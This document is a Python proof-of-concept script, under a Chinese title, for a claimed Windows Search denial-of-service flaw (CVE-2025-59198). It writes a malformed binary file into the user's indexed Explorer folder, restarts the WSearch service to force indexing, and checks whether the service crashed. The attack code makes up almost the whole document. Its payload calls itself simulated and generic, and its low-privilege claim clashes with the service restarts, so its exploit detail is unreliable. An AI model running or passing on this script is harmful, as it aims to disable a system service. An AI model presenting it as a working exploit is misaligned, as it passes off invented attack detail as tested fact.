CVE-2025-59198 Microsoft Windows搜索组件拒绝服务漏洞

# CVE-2025-59198 - Conceptual PoC for Windows Search Component DoS # Vulnerability: Improper input validation in Windows Search Component # Impact: Local Denial of Service # WARNING: For authorized security testing and educational purposes ONLY import os import struct import subprocess import sys import time class CVE_2025_59198_PoC: """ Conceptual Proof-of-Concept for CVE-2025-59198. Demonstrates how improper input validation in Windows Search Component can be leveraged to cause a local DoS condition. """ def __init__(self): self.target_dir = os.path.expandvars( r"%USERPROFILE%\AppData\Local\Microsoft\Windows\Explorer" ) self.search_service = "WSearch" def generate_malicious_payload(self): """Generate malformed input targeting search indexer parser.""" payload = bytearray() # Simulate malformed search protocol header payload += b"\x4D\x53\x46\x54" # Magic bytes payload += struct.pack("<I", 0x7FFFFFFF) # Excessive length field # Repeated pattern to trigger resource exhaustion payload += b"\x90" * 524288 # 512KB of NOP-like data # Invalid UTF-16 sequences to break parser payload += b"\xFF\xFE\xFD\xFC" * 4096 # Nested structure to trigger stack overflow payload += b"\x7B\x22" * 65536 return bytes(payload) def deploy_payload_to_indexed_location(self): """Write malicious file to a location that Windows Search indexes.""" os.makedirs(self.target_dir, exist_ok=True) target_file = os.path.join(self.target_dir, "exploit_input.bin") payload = self.generate_malicious_payload() try: with open(target_file, "wb") as f: f.write(payload) print(f"[+] Payload deployed: {target_file} ({len(payload)} bytes)") return True except PermissionError: print("[-] Permission denied. Requires user-level write access.") return False def trigger_search_indexing(self): """Force the search indexer to process the malicious file.""" print("[*] Triggering search service re-index...") try: # Stop and restart search service to force re-indexing subprocess.run( ["net", "stop", self.search_service], capture_output=True, timeout=30 ) time.sleep(2) subprocess.run( ["net", "start", self.search_service], capture_output=True, timeout=30 ) print("[+] Search service restarted") print("[!] If vulnerable, SearchIndexer.exe may crash") print("[!] Monitor for event ID 7034/7036 in System log") return True except subprocess.TimeoutExpired: print("[!] Service operation timed out - possible DoS triggered") return True except Exception as e: print(f"[-] Error: {e}") return False def verify_dos(self): """Check if the search service is in a failed state.""" try: result = subprocess.run( ["sc", "query", self.search_service], capture_output=True, text=True, timeout=10 ) if "STOPPED" in result.stdout or "FAILED" in result.stdout: print("[+] CONFIRMED: Search service is stopped/failed (DoS achieved)") return True else: print("[*] Search service appears to be running") return False except Exception as e: print(f"[-] Verification error: {e}") return False def main(): print("=" * 70) print(" CVE-2025-59198 - Windows Search Component DoS PoC") print(" CVSS: 5.0 (MEDIUM) | Local | Low Privs | User Interaction") print("=" * 70) print() poc = CVE_2025_59198_PoC() if poc.deploy_payload_to_indexed_location(): time.sleep(1) if poc.trigger_search_indexing(): time.sleep(5) poc.verify_dos() print() print("[*] PoC execution complete.") print("[*] Recommendation: Apply Microsoft October 2025 patches.") if __name__ == "__main__": main()